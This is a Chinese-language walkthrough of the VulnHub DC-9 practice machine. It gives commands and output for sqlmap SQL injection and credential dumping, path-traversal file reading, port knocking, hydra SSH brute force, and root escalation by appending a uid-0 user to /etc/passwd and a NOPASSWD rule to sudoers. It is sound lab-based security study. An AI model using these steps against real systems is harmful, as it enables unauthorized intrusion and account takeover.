赞
踩
靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
设置虚拟机为nat,遇到错误点重试和是
开启虚拟机如下图所示
查找靶机的ip地址
arp-scan -l
发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128
用nmap扫描其开启服务和端口
nmap -p- -sV 192.168.111.137
发现ssh和http服务打开
用浏览器打开其http服务,如下图
发现一句提示,翻译一下看看
点击这个search,进行抓包
发现此处存在sql注入
用sqlmap进行注入
sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs
跑users表
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump
- +----+------------+---------------+---------------------+-----------+-----------+
- | id | lastname | password | reg_date | username | firstname |
- +----+------------+---------------+---------------------+-----------+-----------+
- | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
- | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
- | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
- | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
- | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
- | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
- | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
- | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
- | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
- | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
- | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
- | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
- | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
- | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
- | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
- | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
- | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
- +----+------------+---------------+---------------------+-----------+-----------+
下爆staff的
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump
账号获取到了,密码被爆破出来了
看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump
利用之前获取到的账号密码admin/transorbital1进行用户登录
登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含
看大佬的wp,访问该路径获取关键信息
http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
这玩意也不知道啥意思,问问万能的ai吧
[openSSH]:
- sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
- seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
- command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。
[closeSSH]:
- sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
- seq_timeout = 25:与 [openSSH] 相同。
- command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。
knockd
字面意思是敲,只是这里敲的是端口
,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口
- nmap 192.168.111.137 -p 7469
- nmap 192.168.111.137 -p 8475
- nmap 192.168.111.137 -p 9842
nmap -p 22 192.168.111.137
查看到ssh服务已经开启
将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt
将前面保存sqlmap自动保存的csv文件复制到物理机进行操作
users.txt
- marym
- julied
- fredf
- barneyr
- tomc
- jerrym
- wilmaf
- bettyr
- chandlerb
- joeyt
- rachelg
- rossg
- monicag
- phoebeb
- scoots
- janitor
- janitor2
pass.txt
- 3kfs86sfd
- 468sfdfsd2
- 4sfd87sfd1
- RocksOff
- TC&TheBoyz
- B8m#48sd
- Pebbles
- BamBam01
- UrAG0D!
- Passw0rd
- yN72#dsd
- ILoveRachel
- 3248dsds7s
- smellycats
- YR3BVxxxw87
- Ilovepeepee
- Hawaii-Five-0
利用工具进行ssh账号密码爆破
hydra -L users.txt -P pass.txt 192.168.111.137 ssh
- [22][ssh] host: 192.168.111.137 login: chandlerb password: UrAG0D!
- [22][ssh] host: 192.168.111.137 login: joeyt password: Passw0rd
- [22][ssh] host: 192.168.111.137 login: janitor password: Ilovepeepee
根据大佬wp可知,其他两个用户登录后无作用
登录janitor
ls -al
查看到隐藏文件
- cd .secrets-for-putin
- cat passwords-found-on-post-it-notes.txt
- BamBam01
- Passw0rd
- smellycats
- P0Lic#10-4
- B4-Tru3-001
- 4uGU5T-NiGHts
将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt
newpass.txt
- 3kfs86sfd
- 468sfdfsd2
- 4sfd87sfd1
- RocksOff
- TC&TheBoyz
- B8m#48sd
- Pebbles
- BamBam01
- UrAG0D!
- Passw0rd
- yN72#dsd
- ILoveRachel
- 3248dsds7s
- smellycats
- YR3BVxxxw87
- Ilovepeepee
- Hawaii-Five-0
- BamBam01
- Passw0rd
- smellycats
- P0Lic#10-4
- B4-Tru3-001
- 4uGU5T-NiGHts
重新进行爆破
hydra -l users.txt -P newpass.txt 192.168.111.137 ssh
爆破出一个新用户
进行ssh连接 fredf/B4-Tru3-001
ssh fredf@192.168.111.137
进行提权
sudo -l
列出sudo权限的命令,这里发现fred用户在NOPASSWD
的情况下可以使用root权限运行这个test文件
cd到该目录下尝试运行,发现为python文件
找到这个test.py文件
find / -name test.py 2>/dev/null
查看文件
- #!/usr/bin/python
-
- import sys
-
- if len (sys.argv) != 3 :
- print ("Usage: python test.py read append")
- sys.exit (1)
-
- else :
- f = open(sys.argv[1], "r")
- output = (f.read())
-
- f = open(sys.argv[2], "a")
- f.write(output)
- f.close()
发现代码作用需要两个文件,把第一文件追加到第二个文件后
openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码
openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1
把下面内容写入一个文件
echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan
使用test文件,将该文件的内容写入到passwd中
sudo ./test /tmp/tiquan /etc/passwd
切换账户
su mlws
成功提权
成功获取到最终的flag
需要安装knock
knock 192.168.111.137 7469 8475 9842
echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root
一样可以提权成功
至此dc1-9靶机全部完成
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。